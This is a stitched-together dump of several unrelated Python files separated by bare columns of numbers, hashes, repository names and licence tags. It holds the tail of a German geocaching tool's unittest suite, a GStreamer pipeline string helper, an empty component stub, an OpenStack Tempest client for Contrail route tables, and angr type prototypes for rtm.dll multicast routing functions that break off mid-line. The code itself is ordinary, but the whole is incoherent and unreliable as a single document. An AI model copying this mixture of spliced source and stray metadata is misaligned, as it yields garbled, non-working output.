return_value="any_nonsense"): out = StringIO() sys.stdout = out user_io.show_on_map_start(False, True) output = out.getvalue() expected = "\nNach dem Klicken werden sich mehrere Fenster oeffnen. Eines davon ist der Editor, " expected += "das andere die Seite mapcustomizer.com in deinem Browser.\n" expected += "Um den Cache / die Caches auf der Karte anzuzeigen, kopiere den vollstaendigen Inhalt " expected += "der Textdatei aus deinem Editor in das Feld 'Bulk Entry' im Browser.\n" expected += "Die Caches werden in folgenden Farben angezeigt:\n" expected += "Gruen: Traditional Cache\n" expected += "Rot: Multi-cache\n" expected += "Blau: Mystery Cache\n" expected += "Braun: EarthCache\n" expected += "Grau: Letterbox, Geocaching HQ\n" expected += "Gelb: Event Cache, Wherigo Cache, Wegpunkte\n" expected += "Pink: unbekannter Typ\n" expected += "Gib nun den Pfad zu deinem Editor an: (bei Benutzung von Windows sollte das unnoetig sein)\n" self.assertEqual(output, expected) def test_output_one_waypoints(self): with mock.patch('builtins.input', return_value="any_nonsense"): out = StringIO() sys.stdout = out user_io.show_on_map_start(True, True) output = out.getvalue() expected = "\nNach dem Klicken werden sich mehrere Fenster oeffnen. Eines davon ist der Editor, " expected += "das andere die Seite mapcustomizer.com in deinem Browser.\n" expected += "Um den Cache / die Caches auf der Karte anzuzeigen, kopiere den vollstaendigen Inhalt " expected += "der Textdatei aus deinem Editor in das Feld 'Bulk Entry' im Browser.\n" expected += "Gib nun den Pfad zu deinem Editor an: (bei Benutzung von Windows sollte das unnoetig sein)\n" self.assertEqual(output, expected) def test_output_one_no_waypoints(self): # makes no difference because it is nonsense with mock.patch('builtins.input', return_value="any_nonsense"): out = StringIO() sys.stdout = out user_io.show_on_map_start(True, False) output = out.getvalue() expected = "\nNach dem Klicken werden sich mehrere Fenster oeffnen. Eines davon ist der Editor, " expected += "das andere die Seite mapcustomizer.com in deinem Browser.\n" expected += "Um den Cache / die Caches auf der Karte anzuzeigen, kopiere den vollstaendigen Inhalt " expected += "der Textdatei aus deinem Editor in das Feld 'Bulk Entry' im Browser.\n" expected += "Gib nun den Pfad zu deinem Editor an: (bei Benutzung von Windows sollte das unnoetig sein)\n" self.assertEqual(output, expected) def test_return(self): with mock.patch('builtins.input', return_value="any_editor"): self.assertEqual(user_io.show_on_map_start(False, True), "any_editor") def test_default_return(self): with mock.patch('builtins.input', return_value=""): self.assertEqual(user_io.show_on_map_start(True, False), "notepad.exe") class TestShowOnMapEnd(unittest.TestCase): def test_output(self): with mock.patch('builtins.input', return_value="any_nonsense"): out = StringIO() sys.stdout = out user_io.show_on_map_end() output = out.getvalue() expected = "Schliesse den Editor und druecke Enter.\n" self.assertEqual(output, expected) def create_testsuite(): """creates a testsuite with out of all tests in this file""" suite = unittest.TestSuite() suite.addTest(unittest.makeSuite(TestGeneralOutput)) suite.addTest(unittest.makeSuite(TestGeneralInput)) suite.addTest(unittest.makeSuite(TestShowMainMenu)) suite.addTest(unittest.makeSuite(TestMainMenu)) suite.addTest(unittest.makeSuite(TestMapMenu)) suite.addTest(unittest.makeSuite(TestSortCaches)) suite.addTest(unittest.makeSuite(TestSearch)) suite.addTest(unittest.makeSuite(TestSearchType)) suite.addTest(unittest.makeSuite(TestSearchAttribute)) suite.addTest(unittest.makeSuite(TestActionsAfterSearch)) suite.addTest(unittest.makeSuite(TestActionsWithFounds)) suite.addTest(unittest.makeSuite(TestConfirmDeletion)) suite.addTest(unittest.makeSuite(TestWaypointMenu)) suite.addTest(unittest.makeSuite(TestChooseCache)) suite.addTest(unittest.makeSuite(TestShowOne)) suite.addTest(unittest.makeSuite(TestCoordinatesInput)) suite.addTest(unittest.makeSuite(TestAskForPath)) suite.addTest(unittest.makeSuite(TestAskForWaypoints)) suite.addTest(unittest.makeSuite(TestShowOnMapStart)) suite.addTest(unittest.makeSuite(TestShowOnMapEnd)) return suite def main(v): """runs the testsuite""" return test_frame.run(v, create_testsuite, "user_io.py") if __name__ == '__main__': if len(sys.argv) > 1: # if script is run with argument verbosity = int(sys.argv[1]) else: # if no argument -> verbosity 1 verbosity = 1 main(verbosity)
44.936567
118
0.630096
5,839
48,172
5.054119
0.070731
0.03192
0.064315
0.103893
0.86439
0.843821
0.818441
0.773949
0.748399
0.688455
0
0.015454
0.241032
48,172
1,071
119
44.978525
0.791581
0.021838
0
0.595597
0
0.003476
0.255803
0.026404
0
0
0
0
0.178447
0
null
null
0
0.008111
null
null
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
d6bd5f5af6ba9b96c0846778fa0e75d1b69674bb
293
py
Python
pertemuan_13/gst_file.py
Muhammad-Yunus/Jetson-Nano-OpenCV-Learn
933cb2594539a877030fb82dc3e6867409c1a557
[ "Apache-2.0" ]
null
null
null
pertemuan_13/gst_file.py
Muhammad-Yunus/Jetson-Nano-OpenCV-Learn
933cb2594539a877030fb82dc3e6867409c1a557
[ "Apache-2.0" ]
null
null
null
pertemuan_13/gst_file.py
Muhammad-Yunus/Jetson-Nano-OpenCV-Learn
933cb2594539a877030fb82dc3e6867409c1a557
[ "Apache-2.0" ]
2
2021-09-28T00:24:21.000Z
2022-03-09T13:38:29.000Z
def gst_file_loader(filename, useRotate90=True): return 'filesrc location=' + filename + ' ! qtdemux ! queue ! h264parse ! omxh264dec ! nvvidconv ' + ('flip-method=3 ' if useRotate90 else '') + ' ! video/x-raw,format=BGRx ! queue ! videoconvert ! queue ! video/x-raw, format=BGR ! appsink'
146.5
244
0.696246
36
293
5.611111
0.777778
0.059406
0.089109
0.148515
0
0
0
0
0
0
0
0.044534
0.156997
293
2
244
146.5
0.773279
0
0
0
0
0.5
0.612245
0.078231
0
0
0
0
0
1
0.5
false
0
0
0.5
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
1
1
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
7
ba651d3ca4aa135055e6eb2ed038893c4b286f24
232
py
Python
fabfile/component/unknown.py
muumu/fabric2-parallel-sample
2650fc999cccc1f973ac35fb6a1c5af89ec99a78
[ "MIT" ]
2
2021-03-25T19:44:16.000Z
2022-01-27T20:22:10.000Z
fabfile/component/unknown.py
muumu/fabric2-parallel-sample
2650fc999cccc1f973ac35fb6a1c5af89ec99a78
[ "MIT" ]
null
null
null
fabfile/component/unknown.py
muumu/fabric2-parallel-sample
2650fc999cccc1f973ac35fb6a1c5af89ec99a78
[ "MIT" ]
null
null
null
#-*- coding:utf-8 -*- class UnknownComponent: def build(self, c): pass def start(self, c): pass def stop(self, c): pass def __str__(self): return 'unknown'
16.571429
24
0.465517
25
232
4.16
0.6
0.144231
0.259615
0.346154
0
0
0
0
0
0
0
0.007407
0.418103
232
14
25
16.571429
0.762963
0.086207
0
0.333333
0
0
0.035176
0
0
0
0
0
0
1
0.444444
false
0.333333
0
0.111111
0.666667
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
1
1
0
0
7
ba6c0ac07aa5b00143683d563c9561e5ddf56159
6,882
py
Python
tungsten_tempest_plugin/services/contrail/json/route_client.py
Vegasq/tungsten-tempest
624584cd1a2298b92a44223de1ca7ae23c6f3476
[ "Apache-2.0" ]
1
2019-04-29T09:00:16.000Z
2019-04-29T09:00:16.000Z
tungsten_tempest_plugin/services/contrail/json/route_client.py
Vegasq/tungsten-tempest
624584cd1a2298b92a44223de1ca7ae23c6f3476
[ "Apache-2.0" ]
11
2018-12-04T14:20:27.000Z
2019-05-30T14:37:13.000Z
tungsten_tempest_plugin/services/contrail/json/route_client.py
Vegasq/tungsten-tempest
624584cd1a2298b92a44223de1ca7ae23c6f3476
[ "Apache-2.0" ]
9
2018-07-26T18:20:45.000Z
2020-03-27T17:40:56.000Z
# Copyright 2016 AT&T Corp # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """ Tempest service class for route test cases """ from oslo_serialization import jsonutils as json from tungsten_tempest_plugin.services.contrail.json import base class RouteClient(base.BaseContrailClient): """ Service class for route test cases """ def list_route_tables(self): """ :return: """ url = '/route-tables' resp, body = self.get(url) body = json.loads(body) return base.ResponseBody(resp, body) def show_route_table(self, route_id): """ :param route_id: :return: """ url = '/route-table/%s' % route_id resp, body = self.get(url) body = json.loads(body) return base.ResponseBody(resp, body) def create_route_tables(self, **kwargs): """ :param kwargs: :return: """ post_body = json.dumps({'route-table': kwargs}) url = 'route-tables' resp, body = self.post(url, post_body) body = json.loads(body) return base.ResponseBody(resp, body) def update_route_table(self, route_id, **kwargs): """ :param route_id: :param kwargs: :return: """ post_body = json.dumps({'route-table': kwargs}) url = '/route-table/%s' % route_id resp, body = self.put(url, post_body) body = json.loads(body) return base.ResponseBody(resp, body) def delete_route_table(self, route_id): """ :param route_id: :return: """ url = '/route-table/%s' % route_id resp, body = self.delete(url) return base.ResponseBody(resp, body) def list_interface_route_tables(self): """ :return: """ url = '/interface-route-tables' resp, body = self.get(url) body = json.loads(body) return base.ResponseBody(resp, body) def show_interface_route_table(self, interface_route_id): """ :param interface_route_id: :return: """ url = '/interface-route-table/%s' % interface_route_id resp, body = self.get(url) body = json.loads(body) return base.ResponseBody(resp, body) def create_interface_route_tables(self, **kwargs): """ :param kwargs: :return: """ post_body = json.dumps({'interface-route-table': kwargs}) url = 'interface-route-tables' resp, body = self.post(url, post_body) body = json.loads(body) return base.ResponseBody(resp, body) def update_interface_route_table(self, interface_route_id, **kwargs): """ :param interface_route_id: :param kwargs: :return: """ post_body = json.dumps({'interface-route-table': kwargs}) url = '/interface-route-table/%s' % interface_route_id resp, body = self.put(url, post_body) body = json.loads(body) return base.ResponseBody(resp, body) def delete_interface_route_table(self, interface_route_id): """ :param interface_route_id: :return: """ url = '/interface-route-table/%s' % interface_route_id resp, body = self.delete(url) return base.ResponseBody(resp, body) def list_route_targets(self): """ :return: """ url = '/route-targets' resp, body = self.get(url) body = json.loads(body) return base.ResponseBody(resp, body) def show_route_target(self, route_target_id): """ :param route_target_id: :return: """ url = '/route-target/%s' % route_target_id resp, body = self.get(url) body = json.loads(body) return base.ResponseBody(resp, body) def create_route_targets(self, **kwargs): """ :param kwargs: :return: """ post_body = json.dumps({'route-target': kwargs}) url = 'route-targets' resp, body = self.post(url, post_body) body = json.loads(body) return base.ResponseBody(resp, body) def update_route_target(self, route_target_id, **kwargs): """ :param route_target_id: :param kwargs: :return: """ post_body = json.dumps({'route-target': kwargs}) url = '/route-target/%s' % route_target_id resp, body = self.put(url, post_body) body = json.loads(body) return base.ResponseBody(resp, body) def delete_route_target(self, route_target_id): """ :param route_target_id: :return: """ url = '/route-target/%s' % route_target_id resp, body = self.delete(url) return base.ResponseBody(resp, body) def list_route_aggregates(self): """ :return: """ url = '/route-aggregates' resp, body = self.get(url) body = json.loads(body) return base.ResponseBody(resp, body) def show_route_aggregate(self, route_aggr_id): """ :param route_aggr_id: :return: """ url = '/route-aggregate/%s' % route_aggr_id resp, body = self.get(url) body = json.loads(body) return base.ResponseBody(resp, body) def create_route_aggregates(self, **kwargs): """ :param kwargs: :return: """ post_body = json.dumps({'route-aggregate': kwargs}) url = 'route-aggregates' resp, body = self.post(url, post_body) body = json.loads(body) return base.ResponseBody(resp, body) def update_route_aggregate(self, route_aggr_id, **kwargs): """ :param route_aggr_id: :param kwargs: :return: """ post_body = json.dumps({'route-aggregate': kwargs}) url = '/route-aggregate/%s' % route_aggr_id resp, body = self.put(url, post_body) body = json.loads(body) return base.ResponseBody(resp, body) def delete_route_aggregate(self, route_aggr_id): """ :param route_aggr_id: :return: """ url = '/route-aggregate/%s' % route_aggr_id resp, body = self.delete(url) return base.ResponseBody(resp, body)
29.536481
78
0.5805
802
6,882
4.822943
0.142145
0.08273
0.062048
0.134436
0.806877
0.791882
0.751034
0.737849
0.737849
0.731644
0
0.001659
0.299477
6,882
232
79
29.663793
0.800664
0.180761
0
0.71028
0
0
0.094942
0.032517
0
0
0
0
0
1
0.186916
false
0
0.018692
0
0.401869
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ba775211e87bf3e00830c55403cc7f3259445d73
42
py
Python
radar/io/__init__.py
RADAR-base/pyRADAR-processing
3995d5f5f52b7be116a3b9dcaa7a1fa36875354a
[ "Apache-2.0" ]
2
2018-07-02T14:31:51.000Z
2020-11-02T16:01:58.000Z
radar/io/__init__.py
RADAR-base/pyRADAR-processing
3995d5f5f52b7be116a3b9dcaa7a1fa36875354a
[ "Apache-2.0" ]
2
2020-09-25T05:20:50.000Z
2021-06-25T15:17:34.000Z
radar/io/__init__.py
RADAR-base/pyRADAR-processing
3995d5f5f52b7be116a3b9dcaa7a1fa36875354a
[ "Apache-2.0" ]
1
2020-09-18T13:20:15.000Z
2020-09-18T13:20:15.000Z
from . import generic from . import radar
14
21
0.761905
6
42
5.333333
0.666667
0.625
0
0
0
0
0
0
0
0
0
0
0.190476
42
2
22
21
0.941176
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
ba7ab4656d7b31e32f85eb9b167f6894e534b0a9
74,486
py
Python
angr/procedures/definitions/win32_rtm.py
r4b3rt/angr
c133cfd4f83ffea2a1d9e064241e9459eaabc55f
[ "BSD-2-Clause" ]
null
null
null
angr/procedures/definitions/win32_rtm.py
r4b3rt/angr
c133cfd4f83ffea2a1d9e064241e9459eaabc55f
[ "BSD-2-Clause" ]
null
null
null
angr/procedures/definitions/win32_rtm.py
r4b3rt/angr
c133cfd4f83ffea2a1d9e064241e9459eaabc55f
[ "BSD-2-Clause" ]
null
null
null
# pylint:disable=line-too-long import logging from ...sim_type import SimTypeFunction, SimTypeShort, SimTypeInt, SimTypeLong, SimTypeLongLong, SimTypeDouble, SimTypeFloat, SimTypePointer, SimTypeChar, SimStruct, SimTypeFixedSizeArray, SimTypeBottom, SimUnion, SimTypeBool from ...calling_conventions import SimCCStdcall, SimCCMicrosoftAMD64 from .. import SIM_PROCEDURES as P from . import SimLibrary _l = logging.getLogger(name=__name__) lib = SimLibrary() lib.set_default_cc('X86', SimCCStdcall) lib.set_default_cc('AMD64', SimCCMicrosoftAMD64) lib.set_library_names("rtm.dll") prototypes = \ { # 'MgmRegisterMProtocol': SimTypeFunction([SimTypePointer(SimStruct({"dwCallbackFlags": SimTypeInt(signed=False, label="UInt32"), "pfnRpfCallback": SimTypePointer(SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypePointer(SimTypeChar(label="Byte"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["dwSourceAddr", "dwSourceMask", "dwGroupAddr", "dwGroupMask", "pdwInIfIndex", "pdwInIfNextHopAddr", "pdwUpStreamNbr", "dwHdrSize", "pbPacketHdr", "pbRoute"]), offset=0), "pfnCreationAlertCallback": SimTypePointer(SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"dwIfIndex": SimTypeInt(signed=False, label="UInt32"), "dwIfNextHopAddr": SimTypeInt(signed=False, label="UInt32"), "bIGMP": SimTypeInt(signed=True, label="Int32"), "bIsEnabled": SimTypeInt(signed=True, label="Int32")}, name="MGM_IF_ENTRY", pack=False, align=None), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["dwSourceAddr", "dwSourceMask", "dwGroupAddr", "dwGroupMask", "dwInIfIndex", "dwInIfNextHopAddr", "dwIfCount", "pmieOutIfList"]), offset=0), "pfnPruneAlertCallback": SimTypePointer(SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=True, label="Int32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["dwSourceAddr", "dwSourceMask", "dwGroupAddr", "dwGroupMask", "dwIfIndex", "dwIfNextHopAddr", "bMemberDelete", "pdwTimeout"]), offset=0), "pfnJoinAlertCallback": SimTypePointer(SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=True, label="Int32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["dwSourceAddr", "dwSourceMask", "dwGroupAddr", "dwGroupMask", "bMemberUpdate"]), offset=0), "pfnWrongIfCallback": SimTypePointer(SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Byte"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["dwSourceAddr", "dwGroupAddr", "dwIfIndex", "dwIfNextHopAddr", "dwHdrSize", "pbPacketHdr"]), offset=0), "pfnLocalJoinCallback": SimTypePointer(SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["dwSourceAddr", "dwSourceMask", "dwGroupAddr", "dwGroupMask", "dwIfIndex", "dwIfNextHopAddr"]), offset=0), "pfnLocalLeaveCallback": SimTypePointer(SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["dwSourceAddr", "dwSourceMask", "dwGroupAddr", "dwGroupMask", "dwIfIndex", "dwIfNextHopAddr"]), offset=0), "pfnDisableIgmpCallback": SimTypePointer(SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["dwIfIndex", "dwIfNextHopAddr"]), offset=0), "pfnEnableIgmpCallback": SimTypePointer(SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["dwIfIndex", "dwIfNextHopAddr"]), offset=0)}, name="ROUTING_PROTOCOL_CONFIG", pack=False, align=None), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["prpiInfo", "dwProtocolId", "dwComponentId", "phProtocol"]), # 'MgmDeRegisterMProtocol': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["hProtocol"]), # 'MgmTakeInterfaceOwnership': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hProtocol", "dwIfIndex", "dwIfNextHopAddr"]), # 'MgmReleaseInterfaceOwnership': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hProtocol", "dwIfIndex", "dwIfNextHopAddr"]), # 'MgmGetProtocolOnInterface': SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["dwIfIndex", "dwIfNextHopAddr", "pdwIfProtocolId", "pdwIfComponentId"]), # 'MgmAddGroupMembershipEntry': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hProtocol", "dwSourceAddr", "dwSourceMask", "dwGroupAddr", "dwGroupMask", "dwIfIndex", "dwIfNextHopIPAddr", "dwFlags"]), # 'MgmDeleteGroupMembershipEntry': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["hProtocol", "dwSourceAddr", "dwSourceMask", "dwGroupAddr", "dwGroupMask", "dwIfIndex", "dwIfNextHopIPAddr", "dwFlags"]), # 'MgmGetMfe': SimTypeFunction([SimTypePointer(SimStruct({"dwGroup": SimTypeInt(signed=False, label="UInt32"), "dwSource": SimTypeInt(signed=False, label="UInt32"), "dwSrcMask": SimTypeInt(signed=False, label="UInt32"), "dwUpStrmNgbr": SimTypeInt(signed=False, label="UInt32"), "dwInIfIndex": SimTypeInt(signed=False, label="UInt32"), "dwInIfProtocol": SimTypeInt(signed=False, label="UInt32"), "dwRouteProtocol": SimTypeInt(signed=False, label="UInt32"), "dwRouteNetwork": SimTypeInt(signed=False, label="UInt32"), "dwRouteMask": SimTypeInt(signed=False, label="UInt32"), "ulUpTime": SimTypeInt(signed=False, label="UInt32"), "ulExpiryTime": SimTypeInt(signed=False, label="UInt32"), "ulTimeOut": SimTypeInt(signed=False, label="UInt32"), "ulNumOutIf": SimTypeInt(signed=False, label="UInt32"), "fFlags": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "rgmioOutInfo": SimTypePointer(SimStruct({"dwOutIfIndex": SimTypeInt(signed=False, label="UInt32"), "dwNextHopAddr": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "dwReserved1": SimTypeInt(signed=False, label="UInt32")}, name="MIB_IPMCAST_OIF_XP", pack=False, align=None), offset=0)}, name="MIB_IPMCAST_MFE", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Byte"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["pimm", "pdwBufferSize", "pbBuffer"]), # 'MgmGetFirstMfe': SimTypeFunction([SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["pdwBufferSize", "pbBuffer", "pdwNumEntries"]), # 'MgmGetNextMfe': SimTypeFunction([SimTypePointer(SimStruct({"dwGroup": SimTypeInt(signed=False, label="UInt32"), "dwSource": SimTypeInt(signed=False, label="UInt32"), "dwSrcMask": SimTypeInt(signed=False, label="UInt32"), "dwUpStrmNgbr": SimTypeInt(signed=False, label="UInt32"), "dwInIfIndex": SimTypeInt(signed=False, label="UInt32"), "dwInIfProtocol": SimTypeInt(signed=False, label="UInt32"), "dwRouteProtocol": SimTypeInt(signed=False, label="UInt32"), "dwRouteNetwork": SimTypeInt(signed=False, label="UInt32"), "dwRouteMask": SimTypeInt(signed=False, label="UInt32"), "ulUpTime": SimTypeInt(signed=False, label="UInt32"), "ulExpiryTime": SimTypeInt(signed=False, label="UInt32"), "ulTimeOut": SimTypeInt(signed=False, label="UInt32"), "ulNumOutIf": SimTypeInt(signed=False, label="UInt32"), "fFlags": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "rgmioOutInfo": SimTypePointer(SimStruct({"dwOutIfIndex": SimTypeInt(signed=False, label="UInt32"), "dwNextHopAddr": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "dwReserved1": SimTypeInt(signed=False, label="UInt32")}, name="MIB_IPMCAST_OIF_XP", pack=False, align=None), offset=0)}, name="MIB_IPMCAST_MFE", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0)], SimTypeInt(signed=False, label="UInt32"), arg_names=["pimmStart", "pdwBufferSize", "pbBuffer", "pdwNumEntries"]), # 'MgmGetMfeStats': SimTypeFunction([SimTypePointer(SimStruct({"dwGroup": SimTypeInt(signed=False, label="UInt32"), "dwSource": SimTypeInt(signed=False, label="UInt32"), "dwSrcMask": SimTypeInt(signed=False, label="UInt32"), "dwUpStrmNgbr": SimTypeInt(signed=False, label="UInt32"), "dwInIfIndex": SimTypeInt(signed=False, label="UInt32"), "dwInIfProtocol": SimTypeInt(signed=False, label="UInt32"), "dwRouteProtocol": SimTypeInt(signed=False, label="UInt32"), "dwRouteNetwork": SimTypeInt(signed=False, label="UInt32"), "dwRouteMask": SimTypeInt(signed=False, label="UInt32"), "ulUpTime": SimTypeInt(signed=False, label="UInt32"), "ulExpiryTime": SimTypeInt(signed=False, label="UInt32"), "ulTimeOut": SimTypeInt(signed=False, label="UInt32"), "ulNumOutIf": SimTypeInt(signed=False, label="UInt32"), "fFlags": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "rgmioOutInfo": SimTypePointer(SimStruct({"dwOutIfIndex": SimTypeInt(signed=False, label="UInt32"), "dwNextHopAddr": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "dwReserved1": SimTypeInt(signed=False, label="UInt32")}, name="MIB_IPMCAST_OIF_XP", pack=False, align=None), offset=0)}, name="MIB_IPMCAST_MFE", pack=False, align=None), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["pimm", "pdwBufferSize", "pbBuffer", "dwFlags"]), # 'MgmGetFirstMfeStats': SimTypeFunction([SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypePointer(SimTypeChar(label="Byte"), offset=0), SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), SimTypeInt(signed=False, label="UInt32")], SimTypeInt(signed=False, label="UInt32"), arg_names=["pdwBufferSize", "pbBuffer", "pdwNumEntries", "dwFlags"]), # 'MgmGetNextMfeStats': SimTypeFunction([SimTypePointer(SimStruct({"dwGroup": SimTypeInt(signed=False, label="UInt32"), "dwSource": SimTypeInt(signed=False, label="UInt32"), "dwSrcMask": SimTypeInt(signed=False, label="UInt32"), "dwUpStrmNgbr": SimTypeInt(signed=False, label="UInt32"), "dwInIfIndex": SimTypeInt(signed=False, label="UInt32"), "dwInIfProtocol": SimTypeInt(signed=False, label="UInt32"), "dwRouteProtocol": SimTypeInt(signed=False, label="UInt32"), "dwRouteNetwork": SimTypeInt(signed=False, label="UInt32"), "dwRouteMask": SimTypeInt(signed=False, label="UInt32"), "ulUpTime": SimTypeInt(signed=False, label="UInt32"), "ulExpiryTime": SimTypeInt(signed=False, label="UInt32"), "ulTimeOut": SimTypeInt(signed=False, label="UInt32"), "ulNumOutIf": SimTypeInt(signed=False, label="UInt32"), "fFlags": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "rgmioOutInfo": SimTypePointer(SimStruct({"dwOutIfIndex": SimTypeInt(signed=False, label="UInt32"), "dwNextHopAddr": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), 